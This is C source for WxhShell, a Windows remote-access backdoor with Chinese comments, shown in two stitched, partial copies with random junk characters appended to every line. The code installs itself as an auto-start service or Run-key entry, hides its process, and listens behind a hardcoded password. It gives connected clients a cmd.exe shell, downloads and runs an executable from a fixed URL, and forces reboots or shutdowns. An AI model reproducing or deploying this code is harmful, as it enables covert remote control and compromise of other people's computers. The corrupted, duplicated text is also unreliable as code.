    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Le/}xST@  
    if(Boot(SHUTDOWN)) %z~kHL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X]W(  
    else { PH^Gjm  
    closesocket(wsh); m G+=0Rn^  
    ExitThread(0); v@J[qpX  
    } ?jvuTS2  
    break; #\K"FE0PGz  
    } <LJb,l"  
  // 获取shell mwZ) PySm)  
  case 's': { lPtML<a  
    CmdShell(wsh); Jm0.\[J  
    closesocket(wsh); <29K! [  
    ExitThread(0); (Y^tky$9  
    break; Y%}N@ ,lT  
  } bV"t;R9  
  // 退出 Pj!f^MN  
  case 'x': { P%!=Rj^2m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ['K}p24,  
    CloseIt(wsh); N9rAosO*  
    break; {/,AMJ<:G]  
    } _~F 0i?  
  // 离开 =)w#?DGpj  
  case 'q': { wAL}c(EHO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =NNxe"Kd;U  
    closesocket(wsh); 3kwkU  
    WSACleanup(); W|s" ;EAM  
    exit(1); M7&G9SGZ  
    break; P>`|.@  
        } nC!L<OMr  
  } EP+LK?{%  
  } Z B!~@Vf  
U9 mK^  
  // 提示信息 0f'LXn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 59+KOQul6  
} 6V#EEb  
  } <jM { <8-  
d..JW{  
  return; _qo\E=E  
} i1bmUKZ8'L  
#ZP;] W  
// shell模块句柄 |WOc0M[U  
int CmdShell(SOCKET sock) !E)|[:$XT  
{ f=S2O_Ee  
STARTUPINFO si; Imq-5To#  
ZeroMemory(&si,sizeof(si)); T{yJL<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VC% .u.< F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $3%+N|L  
PROCESS_INFORMATION ProcessInfo; hMV>5Y[s  
char cmdline[]="cmd"; Ap4.c8f?Q-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $~%h4  
  return 0; 4x#tUzb;  
} lXzm)  
!aL=R)G&e  
// 自身启动模式 ~CdW: t  
int StartFromService(void) sc6NON#  
{ %hdjQIH  
typedef struct Y hC|hDC  
{ l@-h.tS  
  DWORD ExitStatus; (=EDqAZg  
  DWORD PebBaseAddress; >vO+k^'Y  
  DWORD AffinityMask; JZ&_1~Z=  
  DWORD BasePriority; aeAx0yE[p  
  ULONG UniqueProcessId; #l3)3k* ;  
  ULONG InheritedFromUniqueProcessId; Tf? `_jL  
}   PROCESS_BASIC_INFORMATION; !_B*Po  
-*Th=B-  
PROCNTQSIP NtQueryInformationProcess; 9QL%q; #  
Zs,6}m\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WJ[>p ELT,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4%I[.dBnM  
1i'y0]f  
  HANDLE             hProcess; 1uB$@a\  
  PROCESS_BASIC_INFORMATION pbi; k,f/9e+#  
nr,Z0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ErQ6a%~,  
  if(NULL == hInst ) return 0; =q`T|9v  
Gzg3{fXl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !ab ef.%:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )} t't"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L' bY,D(J>  
;Me*# /  
  if (!NtQueryInformationProcess) return 0; ;K%/s IIke  
Q;A\M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5O Y5b8  
  if(!hProcess) return 0;  ts=:r  
49c-`[d L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ='m%Iq7X  
z0#2?o  
  CloseHandle(hProcess);  ,CuWQ'H  
m7u`r(&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0z4M/WrNt  
if(hProcess==NULL) return 0; ItZYOt|Hn  
ju .pQ=PSX  
HMODULE hMod; rPqM&&+  
char procName[255]; a(D=ZKbVU  
unsigned long cbNeeded; $$"G1<EZ  
Dg{d^>T!_x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N^@:+,<3  
;[(d=6{hc]  
  CloseHandle(hProcess); s f->8  
x{tlC}t  
if(strstr(procName,"services")) return 1; // 以服务启动 dM P'Vnfj  
GG +T-  
  return 0; // 注册表启动 n${k^e-=  
} r\Yh'cRW{  
 KLE)+|  
// 主模块 \iP@|ay9  
int StartWxhshell(LPSTR lpCmdLine) Ym! e}`A\F  
{ SW'eTG  
  SOCKET wsl; Au}l^&,zN  
BOOL val=TRUE; +oq<}CNr{  
  int port=0; x;\/Xj ;  
  struct sockaddr_in door; )5gj0#|CG@  
7')W+`o8eL  
  if(wscfg.ws_autoins) Install(); ,]W|"NUI  
G -+!h4p  
port=atoi(lpCmdLine); slUi)@b  
-B&(& R  
if(port<=0) port=wscfg.ws_port; gZ7R^] k  
UxzF5V5  
  WSADATA data; 2Q5@2jT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Hbd>sS  
w`V6vYd@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .R'M'a#*!A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hqmE]hwc  
  door.sin_family = AF_INET; `[U.BVP'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #8yo9g6  
  door.sin_port = htons(port); Jp+'"a  
]sk=V.GGQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5g/,VMe  
closesocket(wsl); f5FEHyj|  
return 1; GZNN2 '  
} 19#>\9*  
>eQ.y- 4  
  if(listen(wsl,2) == INVALID_SOCKET) { N&?V=X  
closesocket(wsl); 1gbFl/i6T  
return 1; &b}g.)RI  
} !2l2;?jM  
  Wxhshell(wsl); T,1qR: 58  
  WSACleanup(); +>K&zS  
i/1$uQ  
return 0; >7%T%2N  
G8klWZAJ  
} f:<BUqa  
f17E2^(I(}  
// 以NT服务方式启动 wlaPE8Gc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wCruj`$  
{ o5NmNOXm  
DWORD   status = 0; :Ev gUA\4  
  DWORD   specificError = 0xfffffff; hpb|| V  
z+{qQ!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; , f$P[c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k:R\;l5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]\ _tO  
  serviceStatus.dwWin32ExitCode     = 0; V<jj'dZfW  
  serviceStatus.dwServiceSpecificExitCode = 0; J&,hC%]  
  serviceStatus.dwCheckPoint       = 0; %oTBh*K'o  
  serviceStatus.dwWaitHint       = 0; x5BS|3W$a  
X3 kFJ{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F}ATY!  
  if (hServiceStatusHandle==0) return; )`f-qTe  
~ILv*v@m  
status = GetLastError(); 5)lcgvp  
  if (status!=NO_ERROR) 1p$(\  
{ "8ellKh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kq-1  b  
    serviceStatus.dwCheckPoint       = 0; +KIz#uqF8Z  
    serviceStatus.dwWaitHint       = 0; X~0 -WBz  
    serviceStatus.dwWin32ExitCode     = status; _#:7S sJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; OB$Jv<C@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nH6SA1$kW  
    return; Sq ]gU  
  } BO w[*hM  
76 )"uqv1x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e8^/S^ =&d  
  serviceStatus.dwCheckPoint       = 0; -oyA5Y x0  
  serviceStatus.dwWaitHint       = 0; rSJ!vQo Cb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t:fz%IOe  
} fJc(  
u@#%SX  
// 处理NT服务事件,比如:启动、停止 aq}hlA(w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d 4;$=P  
{ QhJN/v  
switch(fdwControl) vxEi C:&]  
{ {/,(F^T>2  
case SERVICE_CONTROL_STOP: [07E-TT2U  
  serviceStatus.dwWin32ExitCode = 0; zdrP56rzZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M?" 4 {  
  serviceStatus.dwCheckPoint   = 0; f/UU{vX(  
  serviceStatus.dwWaitHint     = 0; nLz;L r!  
  { WX?nq'nr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ISs&1`Y  
  } S*h^7?Bu  
  return; if|5v^/  
case SERVICE_CONTROL_PAUSE: 9=MNuV9/s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S W%>8  
  break; bXF8V  
case SERVICE_CONTROL_CONTINUE: c-XO}\?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >jhcSvM6  
  break; mnK<5KLg1  
case SERVICE_CONTROL_INTERROGATE: JR.)CzC  
  break; -(:T&rfTp  
}; z@~H{glo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _.; PLq~0  
} Yp;Z+!!UZ  
scH61Y8`  
// 标准应用程序主函数 |nx3x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xz!0BG  
{ w)+1^eW  
xB Wl|j  
// 获取操作系统版本 e72Fz#<q  
OsIsNt=GetOsVer(); 63=&??4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p;}`PW  
$`3yImv+w  
  // 从命令行安装 Z%3CmKdeF  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9m$"B*&6G  
q& -mbWBj  
  // 下载执行文件 PljPhAce  
if(wscfg.ws_downexe) { #RR;?`,L}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t"GnmeH i  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,W)DQwAg  
} MSS[-}  
?YL J Xq  
if(!OsIsNt) { B.5+!z&7  
// 如果时win9x,隐藏进程并且设置为注册表启动 e3SnC:OWf  
HideProc(); Az:~|P  
StartWxhshell(lpCmdLine); %lnkD5  
} yM@sGz6c!  
else {im?tZ,  
  if(StartFromService()) V_J0I*Qa4  
  // 以服务方式启动 &!X<F,  
  StartServiceCtrlDispatcher(DispatchTable); p]RQ-0  
else &SbdX   
  // 普通方式启动 Q/]~`S  
  StartWxhshell(lpCmdLine); cmXbkM  
d9v66mpJM  
return 0; Hvk~BP' m  
} /ZV2f3;t  
P-4$Qksx  
3=uhy|f! /  
7@<.~*Bl6  
=========================================== EO)JMV?6  
(1D1;J4g  
A)]&L`s  
zb9G&'7  
lg-_[!4Z  
_S ng55s  
" MN2i0!+  
/io06)-/n  
#include <stdio.h>  N~$>| gn  
#include <string.h> 5HOl~E  
#include <windows.h> J"AR3b@,$?  
#include <winsock2.h> ~@c<5 -`{  
#include <winsvc.h> (7G4v  
#include <urlmon.h> E42)93~C  
rt*x[5<  
#pragma comment (lib, "Ws2_32.lib") 8 8_ef7w  
#pragma comment (lib, "urlmon.lib") Bp7p X  
Li5&^RAo|J  
#define MAX_USER   100 // 最大客户端连接数 .|[{$&B  
#define BUF_SOCK   200 // sock buffer YgcW1}  
#define KEY_BUFF   255 // 输入 buffer eWAD;x?.  
d|RUxNjM-J  
#define REBOOT     0   // 重启 *xNc^ &.  
#define SHUTDOWN   1   // 关机 wx3_?8z/O  
<K^a2 D  
#define DEF_PORT   5000 // 监听端口 ' J@J$#6  
>(a35 b$  
#define REG_LEN     16   // 注册表键长度 n3~axRPO  
#define SVC_LEN     80   // NT服务名长度 GoybkwFjZ  
w~6UOA8}  
// 从dll定义API g0zzDv7~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mrrpm% Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sr;&/l#7h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >ZOlSLu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5m~9Vl-&  
$XQgat@&]  
// wxhshell配置信息 \09A"fs{  
struct WSCFG { fVn4=d6X  
  int ws_port;         // 监听端口 06Wqfzceb  
  char ws_passstr[REG_LEN]; // 口令 F M6{%}4  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yt#; +*d5  
  char ws_regname[REG_LEN]; // 注册表键名 aDRcVA$*  
  char ws_svcname[REG_LEN]; // 服务名 x[{\Aw>$.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V_~lME  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jd7chIK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -b^dK)wR~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >} 2C,8N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ys=} V|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D?_K5a&v,  
"G@K(bnHn  
}; (y]Z*p:EW  
qg#YQ'vWte  
// default Wxhshell configuration U_IGL  
struct WSCFG wscfg={DEF_PORT, o.!o4&W H  
    "xuhuanlingzhe", fPD.np}  
    1,  ?P +Uv  
    "Wxhshell", ( /I6Wa  
    "Wxhshell", Y_[7q<L  
            "WxhShell Service", `r SOt *<  
    "Wrsky Windows CmdShell Service", yq ;[1O_9C  
    "Please Input Your Password: ", 1=J& ^O{W  
  1, i5TGK#3o  
  "http://www.wrsky.com/wxhshell.exe", \|S%zX  
  "Wxhshell.exe" 4:rwzRDY  
    }; JY CMW! ~  
];w}?LFb  
// 消息定义模块 2om:S+3)2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4ekwmw(ox  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j r) M],  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,1~zYL?  
char *msg_ws_ext="\n\rExit."; d?X,od6  
char *msg_ws_end="\n\rQuit."; fr(Ja;  
char *msg_ws_boot="\n\rReboot..."; X?t;uZI^  
char *msg_ws_poff="\n\rShutdown..."; $(D>v!dp  
char *msg_ws_down="\n\rSave to "; 0~U%csPHt  
=?C <@  
char *msg_ws_err="\n\rErr!"; k( 0;>)<i  
char *msg_ws_ok="\n\rOK!"; B{Vc-qJ  
|^Y"*Y4*h  
char ExeFile[MAX_PATH]; )$TN%hV!  
int nUser = 0; \Vx^u}3O  
HANDLE handles[MAX_USER]; FQO=}0Hl  
int OsIsNt; Sa<(F[p`  
=i  vlS  
SERVICE_STATUS       serviceStatus; B<EqzP*#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ]+Whv%M  
~!Sd|e:4  
// 函数声明 2*75*EQCH  
int Install(void); K[iAN;QCe%  
int Uninstall(void); ]|!|3lQ  
int DownloadFile(char *sURL, SOCKET wsh); } iKjef#J  
int Boot(int flag); ~B{08%|oK  
void HideProc(void); 7<WUj K|  
int GetOsVer(void); A2gFY}  
int Wxhshell(SOCKET wsl); j?u1\<m  
void TalkWithClient(void *cs); i_N8)Z;r  
int CmdShell(SOCKET sock); HFP'b=?`]|  
int StartFromService(void); AI3x,rk#  
int StartWxhshell(LPSTR lpCmdLine); ;wMu  
eQuw uT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %mss{p!d6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j.]]VA  
P0m9($JBD  
// 数据结构和表定义 %"r9;^bj&<  
SERVICE_TABLE_ENTRY DispatchTable[] = H 0+-$s;f  
{ A<|9</9z  
{wscfg.ws_svcname, NTServiceMain}, X8m-5(uW  
{NULL, NULL} \r:*`Z*y  
}; GkU_01C  
!$l<'K$  
// 自我安装 Brxnl,%\  
int Install(void) 5!A:xV]6]  
{ 4)e1K/PJ)  
  char svExeFile[MAX_PATH]; Fb1<Ic#  
  HKEY key; VX&g[5zr  
  strcpy(svExeFile,ExeFile); b|AjB:G  
!k% PP  
// 如果是win9x系统,修改注册表设为自启动 o}r_+\n  
if(!OsIsNt) { !IR cv a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "=DQ {(L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WwsNAJ  
  RegCloseKey(key); 1f+A_k/@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,X3D< wl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3A ^AEO  
  RegCloseKey(key); kkZ}&OXS;  
  return 0; L@O>;zp;  
    } +PE-j| D  
  } BC!) g+8  
} C _he=SV  
else { VB905%  
F#|y,<}<  
// 如果是NT以上系统,安装为系统服务 kO}%Y?9d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1y:fH4V  
if (schSCManager!=0) Fq~Zr;A  
{ M 0}r)@  
  SC_HANDLE schService = CreateService ]d(Z%  
  ( Vq0X:<9  
  schSCManager, F_:W u,dUZ  
  wscfg.ws_svcname, cr-5t4<jK  
  wscfg.ws_svcdisp, KJJ:fG8'  
  SERVICE_ALL_ACCESS, j_,/U^Ws|f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E8av/O VUd  
  SERVICE_AUTO_START, lfb+)s  
  SERVICE_ERROR_NORMAL, #akJhy@m$  
  svExeFile, Xbmsq,*]  
  NULL, M{orw;1Isy  
  NULL, yHE\Q  
  NULL, j xI;clr  
  NULL, Ju#j%!  
  NULL lS Y "  
  ); HgW!Q(*  
  if (schService!=0) j7E;\AZ^  
  { vKW!;U9~P  
  CloseServiceHandle(schService); k(Xs&f `  
  CloseServiceHandle(schSCManager); ^|oI^"I Q=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); afHRy:<+%  
  strcat(svExeFile,wscfg.ws_svcname); bK}ZR*)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .s4vJKK0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;/V])4=  
  RegCloseKey(key); FWeUZI+  
  return 0; ~m<K5K6 V  
    } (t3gNin  
  } H.iCYD_=  
  CloseServiceHandle(schSCManager); > A@yF?  
} 8Ckd.HKpQ  
} .0yBI=QI  
*\#<2 QAe  
return 1; "uuM#@h  
} U*{0,Ue'  
W2-l_{  
// 自我卸载 A?04,l]y  
int Uninstall(void) 4P?`<K'  
{ M^\`~{*T  
  HKEY key; 1E!.E=Y ?M  
ylos6]zS8  
if(!OsIsNt) { GKEOjaE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z l`m1k-X  
  RegDeleteValue(key,wscfg.ws_regname); ,#BD/dF  
  RegCloseKey(key); sK W~+ ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {9;-5@b  
  RegDeleteValue(key,wscfg.ws_regname); *6<4ECa7C  
  RegCloseKey(key); ).GM 0-y  
  return 0; TR*vZzoy  
  } 0J[B3JO@M  
} H/`@6, j  
} A- m IWTa  
else { 3%r/w7Fc  
PUD8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~pH!.|k-&  
if (schSCManager!=0) sa<\nH$_X  
{ ;~r-P$kCY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4sSw7`  
  if (schService!=0) _l] 0V g`  
  { D]fgBW-  
  if(DeleteService(schService)!=0) { .nEMd/pX  
  CloseServiceHandle(schService); Ar~<l2,{r  
  CloseServiceHandle(schSCManager); d]K8*a%[-  
  return 0; WU=EJY}#n  
  } 2A|mXWG}~  
  CloseServiceHandle(schService); x(Uv>k~i}  
  } #k/T\PQ0s  
  CloseServiceHandle(schSCManager); d^54mfgI  
} +68age;dM  
} 6qmV/DL  
^GYVRD  
return 1; %OHWGac"i  
} c1i[1x%  
?z|Bf@TJ[+  
// 从指定url下载文件 x ]}'H  
int DownloadFile(char *sURL, SOCKET wsh) zN5};e}^v  
{ Iao?9,NL9O  
  HRESULT hr; IC"ktv bHz  
char seps[]= "/"; 2h<_?GM\s  
char *token; Iw?f1 ]  
char *file; A>Qu`%g*  
char myURL[MAX_PATH]; n>B ,O  
char myFILE[MAX_PATH]; ?Qd`Vlp7  
d14@G4#Bd  
strcpy(myURL,sURL); )@U~Li/+  
  token=strtok(myURL,seps); HLthVc w  
  while(token!=NULL) =d@)*W 6  
  { _7u&.l<;  
    file=token; E}%Pwr  
  token=strtok(NULL,seps); 5cM%PYU4:v  
  } ^vVAuO  
SJc*Rl>  
GetCurrentDirectory(MAX_PATH,myFILE); fUis_?!  
strcat(myFILE, "\\"); =Gj~:|;$  
strcat(myFILE, file); r$M<vo6C  
  send(wsh,myFILE,strlen(myFILE),0); '-~J.8-</  
send(wsh,"...",3,0); w AdaP9h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N`,,sw  
  if(hr==S_OK) p|qLr9\A  
return 0; UWqiA`,  
else 7)O+s/.P)  
return 1; p]~PyzG!  
Hsov0  
} KCbOO8cQS  
('uUf!h?\  
// 系统电源模块 P! j*4t  
int Boot(int flag) ]C+P J:CC  
{ |'o<w ]hc  
  HANDLE hToken;   h)W#  
  TOKEN_PRIVILEGES tkp; o[JZ>nm  
O 1X)  
  if(OsIsNt) { *j<#5=l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wj'fdrY5h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X-bM`7'H  
    tkp.PrivilegeCount = 1; bs% RWwn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FB,rQ9D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s/>0gu]A8  
if(flag==REBOOT) { ./DlHS;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >D##94PZ  
  return 0; h<'tQGC  
} Kx[+$Qt  
else { w .M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i*4v!(E  
  return 0; e50xcf1u  
} 8eh3K8tL#  
  } yO\bVu5V  
  else { #jxPh!%9  
if(flag==REBOOT) { J.g6<n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pFu!$.Fr  
  return 0; OFcP4hDi  
} =SW<Vhtb  
else { %@aC5^Ovy+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wy1.nn[  
  return 0; Kn?h  
}  N`X|z  
} .A/xH x  
8{icY|:MTN  
return 1; .DnG}884  
}  cFjD*r-  
(<Cg|*s  
// win9x进程隐藏模块 (<H@W/0$  
void HideProc(void) tK+JmbB\  
{ ?hp,h3s;n$  
DtS7)/<T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I+^iOa  
  if ( hKernel != NULL ) 8/P!i2o  
  { /UR;,ts  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >*^SQ{9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z;R/!Py.  
    FreeLibrary(hKernel); 0Nk!.gY  
  } OYa9f[$  
|{%$x^KyJ  
return; *cX i*7|=  
} 6I _4{  
Y2ON!Rno  
// 获取操作系统版本 Y>2#9LA  
int GetOsVer(void) \SgBI/L^  
{ BP&] t1p  
  OSVERSIONINFO winfo; \7o7~pll  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >G[:Q s  
  GetVersionEx(&winfo); %\'G2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  l]   
  return 1; X*Q<REDB  
  else `6NcE-oJ  
  return 0; EuVA"~PA  
} *|6vCR  
cs:?Wq ^  
// 客户端句柄模块 I~ mu'T  
int Wxhshell(SOCKET wsl) =yJV8%pa  
{ va#].4_  
  SOCKET wsh; Nd;pkssd  
  struct sockaddr_in client; ]_L;AD  
  DWORD myID; SFEDR?s   
(A?w|/bZd  
  while(nUser<MAX_USER) )C0I y.N-  
{ uXA}" f2  
  int nSize=sizeof(client); S]e;p\8$Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ( Y Z2&  
  if(wsh==INVALID_SOCKET) return 1; [ 'B u  
]h`d>#Hw!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1p-<F3;  
if(handles[nUser]==0) qckRX+P`  
  closesocket(wsh); (II#9 n)  
else OwDwa~  
  nUser++; (enOj0  
  } %bG\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ']^]z".H  
@aB7dtM  
  return 0; "{bc2# F  
} !b$~Sm)  
),%@X  
// 关闭 socket mSEX?so=[  
void CloseIt(SOCKET wsh) ['6Sq@c)  
{ NUuIhB+  
closesocket(wsh); T#H-GOY:  
nUser--; 3"Kap/[h  
ExitThread(0); &< FKcrZ,  
} R_:lp\S&  
;jKLB^4nX  
// 客户端请求句柄 fNrpYR X  
void TalkWithClient(void *cs) Psf{~ (Ii  
{ fQw=z$  
lm{4x~y$h  
  SOCKET wsh=(SOCKET)cs; VEL!-e^X&  
  char pwd[SVC_LEN]; 3r?T|>|  
  char cmd[KEY_BUFF]; 3n_t^=  
char chr[1]; ,RAP_I!_x  
int i,j; a]8W32  
w`/~y   
  while (nUser < MAX_USER) { 6jov8GIAt  
J0t_wM Ja  
if(wscfg.ws_passstr) { *~UK5Brf1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z4]z3U<}3]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AZ\f6r{  
  //ZeroMemory(pwd,KEY_BUFF); $9 G".T  
      i=0; x|Ms2.!  
  while(i<SVC_LEN) { xHkxrXqeI  
\ ~C/  
  // 设置超时 iQiXwEAi[  
  fd_set FdRead; ;hd%w mE  
  struct timeval TimeOut; +.u HY`A  
  FD_ZERO(&FdRead);  \5HVX/  
  FD_SET(wsh,&FdRead); (;N#Gqb6l  
  TimeOut.tv_sec=8; =ATQ2\T$m  
  TimeOut.tv_usec=0; \M Av's4b@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {Q^ -  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 83)m#  
$?OQtz@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sei%QE]!/  
  pwd=chr[0]; [E9_ZdB T  
  if(chr[0]==0xd || chr[0]==0xa) { cNy*< Tv  
  pwd=0; W$gjcsv  
  break; (|tR>R.Wxg  
  } GIS,EwA  
  i++; _( QW2m?K  
    } *M$$%G(4  
^*,?x  
  // 如果是非法用户,关闭 socket J8&0l&~ 6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &~=d;llkT  
} LO%OH u}]  
}fhGofN$e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BMn`t@!x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , LqfwA|  
pA\"Xe&  
while(1) { @~i : 8  
+a+DiD>./  
  ZeroMemory(cmd,KEY_BUFF); ;;432^jD  
LS<*5 HWX  
      // 自动支持客户端 telnet标准   ,jy9\n*<t9  
  j=0; Q_k'7Z\g$  
  while(j<KEY_BUFF) { iW[%|ddk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _6aI>b#yL  
  cmd[j]=chr[0]; ?nM]eUAP  
  if(chr[0]==0xa || chr[0]==0xd) { TH~"y  
  cmd[j]=0; /~/nhKm  
  break; 6""i<oR  
  } 1[e%E#h  
  j++; 7lzmAih  
    } ,Mn`kL<F  
Ai`0Ud,M@  
  // 下载文件 }%3i8e  
  if(strstr(cmd,"http://")) { [q|8.>sB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w6AG:u  
  if(DownloadFile(cmd,wsh)) xr^fP~V|)0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ye/Y<Ij  
